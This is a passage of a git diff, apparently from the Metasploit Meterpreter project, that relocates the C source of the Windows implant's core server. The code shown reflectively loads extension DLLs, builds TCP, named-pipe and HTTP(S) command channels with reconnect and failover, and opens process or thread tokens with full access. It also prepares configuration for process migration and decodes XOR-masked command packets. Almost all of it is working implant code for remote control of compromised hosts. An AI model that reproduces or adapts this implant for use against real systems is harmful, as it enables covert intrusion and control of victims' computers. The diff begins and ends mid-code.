%u", config->session.comms_handle); - dprintf("[SESSION] Expiry: %u", config->session.expiry); - - dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], - config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], - config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], - config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); - - dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3], - config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7], - config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11], - config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]); - - disable_thread_error_reporting(); - - // if hAppInstance is still == NULL it means that we havent been - // reflectivly loaded so we must patch in the hAppInstance value - // for use with loading server extensions later. - InitAppInstance(); - - srand((unsigned int)time(NULL)); - - __try - { - do - { - dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); - - // Open a THREAD item for the servers main thread, we use this to manage migration later. - serverThread = thread_open(); - - dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); - - if (!(remote = remote_allocate())) - { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - break; - } - - remote->sess_expiry_time = config->session.expiry; - remote->sess_start_time = current_unix_timestamp(); - remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; - - dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); - - DWORD transportSize = 0; - if (!create_transports(remote, config->transports, &transportSize)) - { - // not good, bail out! - SetLastError(ERROR_BAD_ARGUMENTS); - break; - } - - dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); - if (remote->transport->set_handle) - { - remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); - } - - // Set up the transport creation function pointer - remote->trans_create = create_transport; - // Set up the transport removal function pointer - remote->trans_remove = remove_transport; - // and the config creation pointer - remote->config_create = config_create; - - // Store our thread handle - remote->server_thread = serverThread->handle; - - dprintf("[SERVER] Registering dispatch routines..."); - register_dispatch_routines(); - - // this has to be done after dispatch routine are registered - LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); - + * @return Pointer to the end of the configuration. + */ +LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions) +{ + while (stagelessExtensions->size > 0) + { + dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); + HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size); + load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); + stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); + } + + dprintf("[SERVER] All stageless extensions loaded"); + + // once we have reached the end, we may have extension initializers + LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size); + + while (*initData != '\0') + { + const char* extensionName = (const char*)initData; + LPBYTE data = initData + strlen(extensionName) + 1 + sizeof(DWORD); + DWORD dataSize = *(DWORD*)(data - sizeof(DWORD)); + dprintf("[STAGELESS] init data at %p, name %s, size is %d", extensionName, extensionName, dataSize); + stagelessinit_extension(extensionName, data, dataSize); + initData = data + dataSize; + } + + dprintf("[SERVER] All stageless extensions initialised"); + return initData; +} + +static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size) +{ + Transport* transport = NULL; + dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url); + dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout); + dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total); + dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait); + + if (wcsncmp(transportCommon->url, L"tcp", 3) == 0) + { + transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size); + } + else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0) + { + transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size); + } + else + { + transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size); + } + + if (transport == NULL) + { + // something went wrong + return NULL; + } + + // always insert at the tail. The first transport will be the one that kicked everything off + if (remote->transport == NULL) + { + // point to itself, as this is the first transport. + transport->next_transport = transport->prev_transport = transport; + remote->transport = transport; + } + else + { + transport->prev_transport = remote->transport->prev_transport; + transport->next_transport = remote->transport; + + remote->transport->prev_transport->next_transport = transport; + remote->transport->prev_transport = transport; + } + + return transport; +} + +static void append_transport(Transport** list, Transport* newTransport) +{ + if (*list == NULL) + { + // point to itself! + newTransport->next_transport = newTransport->prev_transport = newTransport; + *list = newTransport; + } + else + { + // always insert at the tail + newTransport->prev_transport = (*list)->prev_transport; + newTransport->next_transport = (*list); + + (*list)->prev_transport->next_transport = newTransport; + (*list)->prev_transport = newTransport; + } +} + +static void remove_transport(Remote* remote, Transport* oldTransport) +{ + // if we point to ourself, then we're the last one + if (remote->transport->next_transport == remote->transport) + { + remote->transport = NULL; + } + else + { + // if we're removing the current one we need to move the pointer to the + // next one in the list. + if (remote->transport == oldTransport) + { + remote->transport = remote->transport->next_transport; + } + + oldTransport->prev_transport->next_transport = oldTransport->next_transport; + oldTransport->next_transport->prev_transport = oldTransport->prev_transport; + } + + oldTransport->transport_destroy(oldTransport); +} + +static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize) +{ + DWORD totalSize = 0; + MetsrvTransportCommon* current = transports; + + // The first part of the transport is always the URL, if it's NULL, we are done. + while (current->url[0] != 0) + { + DWORD size; + if (create_transport(remote, current, &size) != NULL) + { + dprintf("[TRANS] transport created of size %u", size); + totalSize += size; + + // go to the next transport based on the size of the existing one. + current = (MetsrvTransportCommon*)((LPBYTE)current + size); + } + else + { + // This is not good + return FALSE; + } + } + + // account for the last terminating NULL wchar + *parsedSize = totalSize + sizeof(wchar_t); + + return TRUE; +} + +static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) +{ + // This function is really only used for migration purposes. + DWORD s = sizeof(MetsrvSession); + MetsrvSession* sess = (MetsrvSession*)malloc(s); + ZeroMemory(sess, s); + + dprintf("[CONFIG] preparing the configuration"); + + // start by preparing the session, using the given UUID if specified, otherwise using + // the existing session UUID + memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE); + // session GUID should persist across migration + memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID)); + sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); + sess->exit_func = EXITFUNC_THREAD; // migration we default to this. + + Transport* current = remote->transport; + Transport* t = remote->transport; + do + { + // extend memory appropriately + DWORD neededSize = t->get_config_size(t); + + dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize); + + sess = (MetsrvSession*)realloc(sess, s + neededSize); + + // load up the transport specifics + LPBYTE target = (LPBYTE)sess + s; + + ZeroMemory(target, neededSize); + s += neededSize; + + if (t == current && t->get_handle != NULL) + { + sess->comms_handle.handle = t->get_handle(t); + dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle); + } + + switch (t->type) + { + case METERPRETER_TRANSPORT_TCP: + { + transport_write_tcp_config(t, (MetsrvTransportTcp*)target); + break; + } + case METERPRETER_TRANSPORT_PIPE: + { + transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target); + break; + } + case METERPRETER_TRANSPORT_HTTP: + case METERPRETER_TRANSPORT_HTTPS: + { + transport_write_http_config(t, (MetsrvTransportHttp*)target); + break; + } + } + + t = t->next_transport; + } while (t != current); + + // account for the last terminating NULL wchar so that the target knows the list has reached the end, + // as well as the end of the extensions list. We may support wiring up existing extensions later on. + DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD); + sess = (MetsrvSession*)realloc(sess, s + terminatorSize); + ZeroMemory((LPBYTE)sess + s, terminatorSize); + s += terminatorSize; + + // hand off the data + dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); + *size = s; + *config = (MetsrvConfig*)sess; +} + +/*! + * @brief Setup and run the server. This is called from Init via the loader. + * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. + * @return Meterpreter exit code (ignored by the caller). + */ +DWORD server_setup(MetsrvConfig* config) +{ + THREAD* serverThread = NULL; + Remote* remote = NULL; + char stationName[256] = { 0 }; + char desktopName[256] = { 0 }; + DWORD res = 0; + + dprintf("[SERVER] Initializing from configuration: 0x%p", config); + dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); + dprintf("[SESSION] Expiry: %u", config->session.expiry); + + dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], + config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], + config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], + config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); + + dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3], + config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7], + config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11], + config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]); + + disable_thread_error_reporting(); + + srand((unsigned int)time(NULL)); + + __try + { + do + { + dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); + + // Open a THREAD item for the servers main thread, we use this to manage migration later. + serverThread = thread_open(); + + dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); + + if (!(remote = remote_allocate())) + { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + break; + } + + remote->sess_expiry_time = config->session.expiry; + remote->sess_start_time = current_unix_timestamp(); + remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; + + dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); + + DWORD transportSize = 0; + if (!create_transports(remote, config->transports, &transportSize)) + { + // not good, bail out! + SetLastError(ERROR_BAD_ARGUMENTS); + break; + } + + dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); + if (remote->transport->set_handle) + { + remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); + } + + // Set up the transport creation function pointer + remote->trans_create = create_transport; + // Set up the transport removal function pointer + remote->trans_remove = remove_transport; + // and the config creation pointer + remote->config_create = config_create; + + // Store our thread handle + remote->server_thread = serverThread->handle; + + dprintf("[SERVER] Registering dispatch routines..."); + register_dispatch_routines(); + + // this has to be done after dispatch routine are registered + LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); + // the original config can actually be mapped as RX in cases such as when stageless payloads // are baked directly into .NET assemblies. We need to make sure that this area of memory includes // The writable flag as well otherwise we get access violations when we're interacting with the // configuration block down the track. So instead of marking the original configuration as RWX (to cover // all cases) we will instead just muck with a copy of it on the heap. - DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config; - remote->orig_config = (MetsrvConfig*)malloc(configSize); - memcpy_s(remote->orig_config, configSize, config, configSize); - - // Store our process token - if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) - { - OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); - } - - if (scheduler_initialize(remote) != ERROR_SUCCESS) - { - SetLastError(ERROR_BAD_ENVIRONMENT); - break; - } - - // Copy it to the thread token - remote->thread_token = remote->server_token; - - // Save the initial session/station/desktop names... - remote->orig_sess_id = server_sessionid(); - remote->curr_sess_id = remote->orig_sess_id; - GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); - remote->orig_station_name = _strdup(stationName); - remote->curr_station_name = _strdup(stationName); - GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); - remote->orig_desktop_name = _strdup(desktopName); - remote->curr_desktop_name = _strdup(desktopName); - - remote->sess_start_time = current_unix_timestamp(); - - // loop through the transports, reconnecting each time. - while (remote->transport) - { - if (remote->transport->transport_init) - { - dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); - // Each transport has its own set of retry settings and each should honour - // them individually. - if (!remote->transport->transport_init(remote->transport)) - { - dprintf("[SERVER] transport initialisation failed, moving to the next transport"); - remote->transport = remote->transport->next_transport; - - // when we have a list of transports, we'll iterate to the next one. - continue; - } - } - - dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); - DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); - - dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); - if (remote->transport->transport_deinit) - { - dprintf("[DISPATCH] deinitialising transport"); - remote->transport->transport_deinit(remote->transport); - } - - dprintf("[TRANS] resetting transport"); - if (remote->transport->transport_reset) - { - remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); - } - - // If the transport mechanism failed, then we should loop until we're able to connect back again. - if (dispatchResult == ERROR_SUCCESS) - { - dprintf("[DISPATCH] Server requested shutdown of dispatch"); - // But if it was successful, and this is a valid exit, then we should clean up and leave. - if (remote->next_transport == NULL) - { - dprintf("[DISPATCH] No next transport specified, leaving"); - // we weren't asked to switch transports, so we exit. - break; - } - - // we need to change transports to the one we've been given. We will assume, for now, - // that the transport has been created using the appropriate functions and that it is - // part of the transport list. - dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); - remote->transport = remote->next_transport; - remote->next_transport = NULL; - } - else - { - // move to the next one in the list - dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); - remote->transport = remote->transport->next_transport; - } - - // transport switching and failover both need to support the waiting functionality. - if (remote->next_transport_wait > 0) - { - dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); - - sleep(remote->next_transport_wait); - - // the wait is a once-off thing, needs to be reset each time - remote->next_transport_wait = 0; - } - - // if we had an encryption context we should clear it up. - free_encryption_context(remote); - } - - // clean up the transports - while (remote->transport) - { - remove_transport(remote, remote->transport); - } - - dprintf("[SERVER] Deregistering dispatch routines..."); - deregister_dispatch_routines(remote); - } while (0); - - dprintf("[DISPATCH] calling scheduler_destroy..."); - scheduler_destroy(); - - dprintf("[DISPATCH] calling command_join_threads..."); - command_join_threads(); - - remote_deallocate(remote); - } - __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) - { - dprintf("[SERVER] *** exception triggered!"); - - thread_kill(serverThread); - } - - dprintf("[SERVER] Finished."); - return res; -} + DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config; + remote->orig_config = (MetsrvConfig*)malloc(configSize); + memcpy_s(remote->orig_config, configSize, config, configSize); + + // Store our process token + if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) + { + OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); + } + + if (scheduler_initialize(remote) != ERROR_SUCCESS) + { + SetLastError(ERROR_BAD_ENVIRONMENT); + break; + } + + // Copy it to the thread token + remote->thread_token = remote->server_token; + + // Save the initial session/station/desktop names... + remote->orig_sess_id = server_sessionid(); + remote->curr_sess_id = remote->orig_sess_id; + GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); + remote->orig_station_name = _strdup(stationName); + remote->curr_station_name = _strdup(stationName); + GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); + remote->orig_desktop_name = _strdup(desktopName); + remote->curr_desktop_name = _strdup(desktopName); + + remote->sess_start_time = current_unix_timestamp(); + + // loop through the transports, reconnecting each time. + while (remote->transport) + { + if (remote->transport->transport_init) + { + dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); + // Each transport has its own set of retry settings and each should honour + // them individually. + if (!remote->transport->transport_init(remote->transport)) + { + dprintf("[SERVER] transport initialisation failed, moving to the next transport"); + remote->transport = remote->transport->next_transport; + + // when we have a list of transports, we'll iterate to the next one. + continue; + } + } + + dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); + DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); + + dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); + if (remote->transport->transport_deinit) + { + dprintf("[DISPATCH] deinitialising transport"); + remote->transport->transport_deinit(remote->transport); + } + + dprintf("[TRANS] resetting transport"); + if (remote->transport->transport_reset) + { + remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); + } + + // If the transport mechanism failed, then we should loop until we're able to connect back again. + if (dispatchResult == ERROR_SUCCESS) + { + dprintf("[DISPATCH] Server requested shutdown of dispatch"); + // But if it was successful, and this is a valid exit, then we should clean up and leave. + if (remote->next_transport == NULL) + { + dprintf("[DISPATCH] No next transport specified, leaving"); + // we weren't asked to switch transports, so we exit. + break; + } + + // we need to change transports to the one we've been given. We will assume, for now, + // that the transport has been created using the appropriate functions and that it is + // part of the transport list. + dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); + remote->transport = remote->next_transport; + remote->next_transport = NULL; + } + else + { + // move to the next one in the list + dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); + remote->transport = remote->transport->next_transport; + } + + // transport switching and failover both need to support the waiting functionality. + if (remote->next_transport_wait > 0) + { + dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); + + sleep(remote->next_transport_wait); + + // the wait is a once-off thing, needs to be reset each time + remote->next_transport_wait = 0; + } + + // if we had an encryption context we should clear it up. + free_encryption_context(remote); + } + + // clean up the transports + while (remote->transport) + { + remove_transport(remote, remote->transport); + } + + dprintf("[SERVER] Deregistering dispatch routines..."); + deregister_dispatch_routines(remote); + } while (0); + + dprintf("[DISPATCH] calling scheduler_destroy..."); + scheduler_destroy(); + + dprintf("[DISPATCH] calling command_join_threads..."); + command_join_threads(); + + remote_deallocate(remote); + } + __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) + { + dprintf("[SERVER] *** exception triggered!"); + + thread_kill(serverThread); + } + + dprintf("[SERVER] Finished."); + return res; +} diff --git a/c/meterpreter/source/server/win/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_named_pipe.c rename to c/meterpreter/source/metsrv/server_transport_named_pipe.c index 4646bc55..10fa51de --- a/c/meterpreter/source/server/win/server_transport_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c @@ -1,729 +1,728 @@ -/*! - * @file server_transport_named_pipe.c - */ -#include "metsrv.h" -#include "../../common/common.h" -#include "../../common/packet_encryption.h" - -// From server_pivot_named_pipe.c -VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa); -DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled); - -#define STUPID_PIPE_BUFFER_LIMIT 0x10000 - - -typedef struct _PIPEMIGRATECONTEXT -{ - COMMONMIGRATECONTEXT common; - - // We force 64bit algnment for HANDLES and POINTERS in order - // to be cross compatable between x86 and x64 migration. - union - { - HANDLE pipe_handle; - BYTE padding[8]; - } h; - -} PIPEMIGRATECONTEXT, * LPPIPEMIGRATECONTEXT; - -/*! - * @brief Poll a named pipe for data to recv and block when none available. - * @param remote Pointer to the remote instance. - * @param timeout Amount of time to wait before the poll times out (in milliseconds). - * @return Indication of success or failure. - */ -static DWORD server_pipe_poll(Remote* remote, long timeout) -{ - DWORD bytesAvailable = 0; - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - vdprintf("[NP DISPATCH] testing for data on the pipe, making sure there's enough for a packet header"); - BOOL ready = PeekNamedPipe(ctx->pipe, NULL, 0, NULL, &bytesAvailable, NULL) && bytesAvailable >= sizeof(PacketHeader); - DWORD result = GetLastError(); - - lock_release(remote->lock); - - if (ready) - { - vdprintf("[NP DISPATCH] pipe data found %u bytes", bytesAvailable); - result = ERROR_SUCCESS; - } - else - { - if (result != ERROR_BROKEN_PIPE) - { - // simulate a wait so that we don't bash the crap out of the CPU? - vdprintf("[NP DISPATCH] pipe data not found, sleeping (error %u)", GetLastError()); - Sleep(timeout); - result = ERROR_NO_DATA; - } - } - - return result; -} - -DWORD read_raw_bytes_to_buffer(NamedPipeTransportContext* ctx, LPBYTE buffer, DWORD bytesToRead, LPDWORD bytesRead) -{ - DWORD bytesReadThisIteration = 0; - DWORD temp = 0; - DWORD result = ERROR_SUCCESS; - *bytesRead = 0; - - dprintf("[PIPE] Beginning read loop for a total of %u", bytesToRead); - while (*bytesRead < bytesToRead) - { - dprintf("[PIPE] Trying to read %u (0x%x) bytes", min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead)); - // read the bytes fromi there. - if (!ReadFile(ctx->pipe, buffer + *bytesRead, min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), &bytesReadThisIteration, NULL)) - { - result = GetLastError(); - dprintf("[PIPE] ReadFile returned error %u 0x%x", result, result); - break; - } - - dprintf("[PIPE] ReadFile claims to have read %u (0x%x) bytes", bytesReadThisIteration, bytesReadThisIteration); - - *bytesRead += bytesReadThisIteration; - } - - dprintf("[PIPE] Done reading bytes"); - return result; -} - -/*! - * @brief Receive a new packet on the given remote endpoint. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to a pointer that will receive the \c Packet data. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet) -{ - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - PacketHeader header = { 0 }; - LONG bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - PUCHAR payload = NULL; - ULONG payloadLength; - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - dprintf("[PIPE PACKET RECEIVE] reading in the header from pipe handle: %p", ctx->pipe); - // Read the packet length - while (inHeader) - { - if (!ReadFile(ctx->pipe, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, &bytesRead, NULL)) - { - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) - { - vdprintf("[PIPE] More bytes required"); - continue; - } - - inHeader = FALSE; - } - - if (headerBytes != sizeof(PacketHeader)) - { - dprintf("[PIPE] we didn't get enough header bytes"); - goto out; - } - - vdprintf("[PIPE] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data - // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: - // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it - // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). - if (header.xor_key[3] == 0) - { - // looks like we have a metsrv instance, time to ignore it. - int length = *(int*)&header.xor_key[0]; - dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length); - - int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); - char* buffer = (char*)malloc(bytesToRead); - read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead); - free(buffer); - - // did something go wrong. - if (bytesToRead != bytesRead) - { - dprintf("[PIPE] Failed to read all bytes when flushing the buffer: %u vs %u", bytesToRead, bytesRead); - goto out; - } - - // indicate success, but don't return a packet for processing - SetLastError(ERROR_SUCCESS); - *packet = NULL; - } - else - { - vdprintf("[PIPE] XOR key looks fine, moving on"); - // xor the header data - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - // if we don't have a GUID yet, we need to take the one given in the packet - if (is_null_guid(remote->orig_config->session.session_guid)) - { - memcpy(remote->orig_config->session.session_guid, header.session_guid, sizeof(remote->orig_config->session.session_guid)); - } - - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - dprintf("[PIPE] Payload length is %u 0x%08x", payloadLength, payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - dprintf("[PIPE] total buffer size for the packet is %u 0x%08x", packetSize, packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) - { - dprintf("[PIPE] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; - } - dprintf("[PIPE] Allocated packet buffer at %p", packetBuffer); - - // we're done with the header data, so we need to re-encode it, as the packet decryptor is going to - // handle the extraction for us. - xor_bytes(header.xor_key, (LPBYTE)&header.session_guid[0], sizeof(PacketHeader) - sizeof(header.xor_key)); - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&header, sizeof(PacketHeader)); - - payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - res = read_raw_bytes_to_buffer(ctx, payload, payloadLength, &bytesRead); - dprintf("[PIPE] wanted %u read %u", payloadLength, bytesRead); - - // Didn't finish? - if (bytesRead != payloadLength) - { - dprintf("[PIPE] Failed to get all the payload bytes"); - SetLastError(res); - goto out; - } - - vdprintf("[PIPE] decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); - - free(packetBuffer); - packetBuffer = NULL; - } -out: - res = GetLastError(); - - // Cleanup - if (packetBuffer) - { - free(packetBuffer); - } - - lock_release(remote->lock); - - return res; -} - -/*! - * @brief The servers main NP DISPATCH loop for incoming requests using SSL over named pipes. - * @param remote Pointer to the remote endpoint for this server connection. - * @param dispatchThread Pointer to the main NP DISPATCH thread. - * @returns Indication of success or failure. - */ -static DWORD server_dispatch_named_pipe(Remote* remote, THREAD* dispatchThread) -{ - Transport* transport = remote->transport; - BOOL running = TRUE; - LONG result = ERROR_SUCCESS; - Packet * packet = NULL; - THREAD * cpt = NULL; - - dprintf("[NP DISPATCH] entering server_dispatch( 0x%08X )", remote); - - int lastPacket = current_unix_timestamp(); - while (running) - { - if (event_poll(dispatchThread->sigterm, 0)) - { - dprintf("[NP DISPATCH] server dispatch thread signaled to terminate..."); - break; - } - - result = server_pipe_poll(remote, 500); - if (result == ERROR_SUCCESS) - { - result = packet_receive_named_pipe(remote, &packet); - if (result != ERROR_SUCCESS) - { - dprintf("[NP DISPATCH] packet_receive returned %d, exiting dispatcher...", result); - break; - } - - if (packet) - { - running = command_handle(remote, packet); - dprintf("[NP DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - } - else - { - dprintf("[NP DISPATCH] Received NULL packet, could be metsrv being ignored"); - } - - // packet received, reset the timer - lastPacket = current_unix_timestamp(); - } - else if (result != ERROR_BROKEN_PIPE) - { - // check if the communication has timed out, or the session has expired, so we should terminate the session - int now = current_unix_timestamp(); - if (now > remote->sess_expiry_end) - { - result = ERROR_SUCCESS; - dprintf("[NP DISPATCH] session has ended"); - break; - } - 